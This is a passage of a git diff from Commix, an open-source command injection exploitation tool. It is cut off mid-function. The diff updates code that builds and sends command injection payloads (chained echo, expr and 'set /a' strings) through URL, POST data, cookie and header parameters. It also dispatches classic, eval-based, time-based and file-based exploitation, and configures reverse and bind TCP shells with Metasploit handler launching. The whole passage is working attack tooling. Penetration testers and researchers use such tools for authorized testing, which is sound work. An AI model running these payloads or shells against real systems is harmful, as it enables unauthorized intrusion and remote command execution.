settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + total_of_requests() + + # Print the findings to terminal. + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + sub_content = str(url_decode(payload)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + +""" +Finalize injection process +""" +def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + if exit_loops == False: + if settings.VERBOSITY_LEVEL == 0: + percent = print_percentage(float_percent, no_result, shell) + injection_process(injection_type, technique, percent) + return True + else: + return True + else: + return False + +""" +Provide custom server's root directory +""" +def custom_web_root(url, timesec, filename, http_request_method, url_time_response): + if not settings.CUSTOM_WEB_ROOT: + if settings.TARGET_OS == settings.OS.WINDOWS : + default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + else: + default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + message = "Enter what you want to use for writable directory (e.g. '" + message += default_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) + if len(settings.WEB_ROOT) == 0: + settings.WEB_ROOT = default_root_dir + settings.CUSTOM_WEB_ROOT = True + + if not settings.LOAD_SESSION: + path = settings.WEB_ROOT + setting_writable_dir(path) + menu.options.web_root = settings.WEB_ROOT.strip() + + +""" +Return TEMP path for win / *nix targets. +""" +def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + def check_trailing_slashes(): + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" + + # Set temp path + if settings.TARGET_OS == settings.OS.WINDOWS: + if "microsoft-iis" in settings.SERVER_BANNER.lower(): + settings.TMP_PATH = r"C:\\Windows\TEMP\\" + else: + settings.TMP_PATH = "%temp%\\" + else: + settings.TMP_PATH = "/tmp/" + + if menu.options.tmp_path: + tmp_path = menu.options.tmp_path + else: + tmp_path = settings.TMP_PATH + + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + + if menu.options.file_dest and '/tmp/' in menu.options.file_dest: + call_tmp_based = True + + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + check_trailing_slashes() + + return tmp_path + +""" +Check if file-based technique has failed, +then use the "/tmp/" directory for tempfile-based technique. +""" +def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + if no_result == True: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler + path = tmp_path + setting_writable_dir(path) + call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + return call_tfb + else: + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Check if to use the "/tmp/" directory for tempfile-based technique. +""" +def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + settings.print_data_to_stdout(settings.END_LINE.CR) + message = "It seems that you don't have permissions to " + message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + if not menu.options.web_root: + message += " You are advised to rerun with option '--web-root'." + while True: + message = message + settings.END_LINE.LF + "Do you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " + tmp_upload = common.read_input(message, default="Y", check_batch=True) + if tmp_upload in settings.CHOICE_YES: + exit_loops = True + settings.TEMPFILE_BASED_STATE = True + call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + if call_tfb != False: + return True + else: + if no_result == True: + return False + else: + return True + elif tmp_upload in settings.CHOICE_NO: + break + elif tmp_upload in settings.CHOICE_QUIT: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + else: + common.invalid_option(tmp_upload) + pass + # continue + +""" +Set time related timesec +""" +def time_related_timesec(timesec): + if settings.TIME_RELATED_ATTACK and settings.TIMESEC < 1: + timesec = 1 + else: + timesec = settings.TIMESEC + return timesec + +""" +Export the time related injection results +""" +def time_related_export_injection_results(cmd, separator, output, check_exec_time): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if output != "" and check_exec_time != 0 : + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # settings.print_data_to_stdout(settings.print_output(output)) + else: + # Check for separator filtration on target host. + if output != False : + err_msg = "It seems that '" + cmd + "' command could not return " + err_msg += "any output due to '" + separator + "' filtration on target host. " + err_msg += "To bypass that limitation, use the '--alter-shell' option " + err_msg += "or try another injection technique." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Check for invalid provided command. + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Success msg. +""" +def shell_success(option): + info_msg = "Sending payload to target, for " + option + " TCP connection " + if settings.BIND_TCP: + info_msg += "against " + settings.RHOST + else: + info_msg += "on " + settings.LHOST + info_msg += ":" + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Payload generation message. +""" +def gen_payload_msg(payload): + info_msg = "Generating the '" + payload + "' shellcode. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Error msg if the attack vector is available only for Windows targets. +""" +def windows_only_attack_vector(): + error_msg = "This attack vector is available only for Windows targets." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +Message regarding the MSF handler. +""" +def msf_launch_msg(output): + info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Once the loading is done, press here any key to continue..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + sys.stdin.readline().replace("\n", "") + # Remove the ouput file. + os.remove(output) + +""" +Check for available shell options. +""" +def shell_options(option): + if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" : + warn_msg = "You are into the '" + option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif option.lower() == "?": + menu.reverse_tcp_options() + elif option.lower() == "quit" or option.lower() == "exit": + raise SystemExit() + + elif option[0:4].lower() == "set ": + if option[4:10].lower() == "lhost ": + if option.lower() == "bind_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'RHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_lhost(option[10:]) + if option[4:10].lower() == "rhost ": + if option.lower() == "reverse_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'LHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_rhost(option[10:]) + if option.lower() == "reverse_tcp": + if option[4:10].lower() == "lport ": + check_lport(option[10:]) + if option[4:12].lower() == "srvport ": + check_srvport(option[12:]) + if option[4:12].lower() == "uripath ": + check_uripath(option[12:]) + else: + return option + +""" +Set up the PHP working directory on the target host. +""" +def set_php_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) + if php_dir in settings.CHOICE_YES: + break + elif php_dir in settings.CHOICE_NO: + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) + settings.USER_DEFINED_PHP_DIR = True + break + else: + common.invalid_option(php_dir) + pass + +""" +Set up the Python working directory on the target host. +""" +def set_python_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) + if python_dir in settings.CHOICE_YES: + break + elif python_dir in settings.CHOICE_NO: + message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_DIR = True + break + else: + common.invalid_option(python_dir) + pass + +""" +Check if to use '/bin' standard subdirectory +""" +def use_bin_subdir(nc_alternative, shell): + while True: + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_subdir = common.read_input(message, default="N", check_batch=True) + if enable_bin_subdir in settings.CHOICE_YES : + nc_alternative = "/bin/" + nc_alternative + shell = "/bin/" + shell + return nc_alternative, shell + elif enable_bin_subdir in settings.CHOICE_NO: + return nc_alternative, shell + elif enable_bin_subdir in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enable_bin_subdir) + pass + +""" +Set up the Python interpreter on linux target host. +""" +def set_python_interpreter(): + while True: + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) + if python_interpreter in settings.CHOICE_YES: + break + elif python_interpreter in settings.CHOICE_NO: + message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_INTERPRETER = True + break + else: + common.invalid_option(python_interpreter) + pass + +""" +check / set rhost option for bind TCP connection +""" +def check_rhost(rhost): + settings.RHOST = rhost + settings.print_data_to_stdout("RHOST => " + settings.RHOST) + return True + +""" +check / set lhost option for reverse TCP connection +""" +def check_lhost(lhost): + settings.LHOST = lhost + settings.print_data_to_stdout("LHOST => " + settings.LHOST) + return True + +""" +check / set lport option for reverse TCP connection +""" +def check_lport(lport): + try: + if float(lport): + settings.LPORT = lport + settings.print_data_to_stdout("LPORT => " + settings.LPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set srvport option for reverse TCP connection +""" +def check_srvport(srvport): + try: + if float(srvport): + settings.SRVPORT = srvport + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set uripath option for reverse TCP connection +""" +def check_uripath(uripath): + settings.URIPATH = uripath + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) + return True + # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 50f760530b..40a2912ddc 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.core.requests import headers from src.core.requests import requests @@ -40,721 +41,745 @@ """ """ -Check for previously stored sessions. +Heuristic basic checks payloads generator +""" +def basic_payload_generator(): + suffix = "" + if settings.USE_BACKTICKS: + prefix = "expr " + else: + prefix = "(" + suffix = ")" + settings.BASIC_STRING = prefix + settings.CALC_STRING + suffix + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "%26echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "|echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + settings.RANDOM_STRING_GENERATOR, + "|set /a " + settings.BASIC_STRING + "%26set /a " + settings.BASIC_STRING + ] """ -def check_for_stored_sessions(url, http_request_method): +Initializing basic level check status +""" +def basic_level_checks(): + settings.TIME_RELATED_ATTACK = False + settings.SKIP_CODE_INJECTIONS = None + settings.SKIP_COMMAND_INJECTIONS = None + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_PHPINFO = False - if not menu.options.ignore_session: +""" +Initializing HTTP Headers parameters injection status +""" +def init_http_header_injection_status(): + settings.HTTP_HEADERS_INJECTION = None + settings.USER_AGENT_INJECTION = None + settings.REFERER_INJECTION = None + settings.HOST_INJECTION = None + +""" +Initializing Cookie parameters injection status +""" +def init_cookie_injection_status(): + settings.COOKIE_INJECTION = None + +""" +Check for previously stored sessions. +""" +def check_for_stored_sessions(url, check_parameter, http_request_method): + if not menu.options.ignore_session and not menu.options.flush_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if not menu.options.tech: - settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES - if session_handler.check_stored_parameter(url, http_request_method): - settings.LOAD_SESSION = True - return True - -""" -Check for previously stored injection level. -""" -def check_for_stored_levels(url, http_request_method): - - if not menu.options.ignore_session: - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - menu.options.level = session_handler.applied_levels(url, http_request_method) - if type(menu.options.level) is not int : - menu.options.level = settings.DEFAULT_INJECTION_LEVEL - -""" -Basic heuristic checks for code injection warnings -""" -def heuristic_basic(url, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" - technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - return url + if settings.LOAD_SESSION == None: + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + return url, check_parameter + +""" +Heuristic request(s) +""" +def heuristic_request(url, http_request_method, check_parameter, payload, whitespace): + data = None + cookie = None + tmp_url = url + payload, prefix = parameters.prefixes(payload, prefix="") + payload, suffix = parameters.suffixes(payload, suffix="") + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + settings.print_data_to_stdout(settings.print_payload(payload)) + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + payload = checks.payload_fixation(payload) + cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) else: - settings.EVAL_BASED_STATE = True - try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - for payload in settings.PHPINFO_CHECK_PAYLOADS: - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if not menu.options.data: - request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) - else: - data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - headers.do_check(request) - response = requests.get_request_response(request) - if type(response) is not bool: + cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) + + if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) + else: + if settings.USER_DEFINED_POST_DATA: + settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + if settings.INJECT_TAG in url: + tmp_url = checks.process_injectable_value(payload, url) + else: + tmp_url = checks.remove_tags(tmp_url) + url = checks.remove_tags(url) + + request = _urllib.request.Request(tmp_url, data, method=http_request_method) + if cookie: + request.add_header(settings.COOKIE, cookie) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter.title() + if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + return response, url + +""" +Heuristic (basic) tests for command injection +""" +def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() + checks.perform_payload_modification(payload="") + basic_payload_generator() + if menu.options.alter_shell: + basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS + else: + basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS + settings.CLASSIC_STATE = True + try: + # checks.perform_payload_modification(payload="") + for whitespace in settings.WHITESPACES: + if not settings.IDENTIFIED_COMMAND_INJECTION: + _ = 0 + for payload in basic_payloads: + _ = _ + 1 + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: - technique = technique + " (possible PHP version: '" + match.group(1) + "')" - settings.IDENTIFIED_PHPINFO = True - else: - for warning in settings.CODE_INJECTION_WARNINGS: - if warning in html_data: - settings.IDENTIFIED_WARNINGS = True - break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) + settings.IDENTIFIED_COMMAND_INJECTION = True + possible_os = ('Unix-like', 'Windows')[_ != 1] + if settings.OS.UNIX.lower() in possible_os.lower(): + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.SKIP_CODE_INJECTIONS = True break - settings.EVAL_BASED_STATE = False - return url + settings.CLASSIC_STATE = False + return url - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Heuristic (basic) tests for code injection warnings +""" +def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE + technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" + settings.EVAL_BASED_STATE = True + try: + whitespace = settings.SINGLE_WHITESPACE + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): + for payload in settings.PHPINFO_CHECK_PAYLOADS: + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + if type(response) is not bool and response is not None: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) + if match: + technique = technique + " (possible PHP version: '" + match.group(1) + "')" + settings.IDENTIFIED_PHPINFO = True + else: + for warning in settings.CODE_INJECTION_WARNINGS: + if warning in html_data: + settings.IDENTIFIED_WARNINGS = True + break + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + break + + settings.EVAL_BASED_STATE = False + return url -# Check if it's exploitable via classic command injection technique. + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Check if it's exploitable via classic command injection technique. +""" def classic_command_injection_technique(url, timesec, filename, http_request_method): - injection_type = "results-based OS command injection" - technique = "classic command injection technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI + technique = settings.INJECTION_TECHNIQUE.CLASSIC + settings.CLASSIC_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): - settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - while True: - if not menu.options.batch: - settings.CLASSIC_STATE = True - question_msg = "Skipping of code injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True + checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS: + checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) -# Check if it's exploitable via dynamic code evaluation technique. +""" +Check if it's exploitable via dynamic code evaluation technique. +""" def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE + settings.EVAL_BASED_STATE = None if not settings.SKIP_CODE_INJECTIONS: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: - settings.EVAL_BASED_STATE = None + if (len(menu.options.tech) == 0 or "e" in menu.options.tech): if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - while True: - if not menu.options.batch: - settings.EVAL_BASED_STATE = True - question_msg = "Skipping of further command injection checks is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + settings.EVAL_BASED_STATE = True + if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - + if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS: + checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) -# Check if it's exploitable via time-based command injection technique. +""" +Check if it's exploitable via time-based command injection technique. +""" def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "blind OS command injection" - technique = "time-based command injection technique" + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.TIME_BASED + settings.TIME_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): - settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.TIME_BASED_STATE = True + settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True + checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: + checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) -# Check if it's exploitable via file-based command injection technique. +""" +Check if it's exploitable via file-based command injection technique. +""" def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "semi-blind command injection" - technique = "file-based command injection technique" + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.FILE_BASED + settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.FILE_BASED_STATE = True + settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True + checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: + checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) + +""" +Check parameter in HTTP header. +""" +def check_parameter_in_http_header(check_parameter): + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): + if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: + inject_http_headers = True + else: + inject_http_headers = False + init_http_header_injection_status() + return inject_http_headers """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.NOT_TESTABLE_PARAMETERS = False + for i in range(0,int(settings.OS_CHECKS_NUM)): + if settings.CHECK_BOTH_OS: + if i == 0: + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS - if menu.options.ignore_code: - info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " - print(settings.print_info_msg(info_msg)) - - # Skipping specific injection techniques. - if settings.SKIP_TECHNIQUES: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - for skip_tech_name in settings.AVAILABLE_TECHNIQUES: - if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") - if len(menu.options.tech) == 0: - err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - # User-Agent HTTP header / Referer HTTP header / - # Host HTTP header / Custom HTTP header Injection(s) - if check_parameter.startswith(" "): - header_name = "" - the_type = " HTTP header" - else: - if settings.COOKIE_INJECTION: - header_name = " cookie" - else: - header_name = "" - the_type = " parameter" - check_parameter = " '" + check_parameter + "'" + if settings.PERFORM_BASIC_SCANS: + checks.keep_testing_others(filename, url) + if not settings.LOAD_SESSION: + settings.LOAD_SESSION = None + basic_level_checks() - # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec) - # Load modules - modules_handler.load_modules(url, http_request_method, filename) + inject_http_headers = check_parameter_in_http_header(check_parameter) - if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - # Check for identified warnings - url = heuristic_basic(url, http_request_method) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or 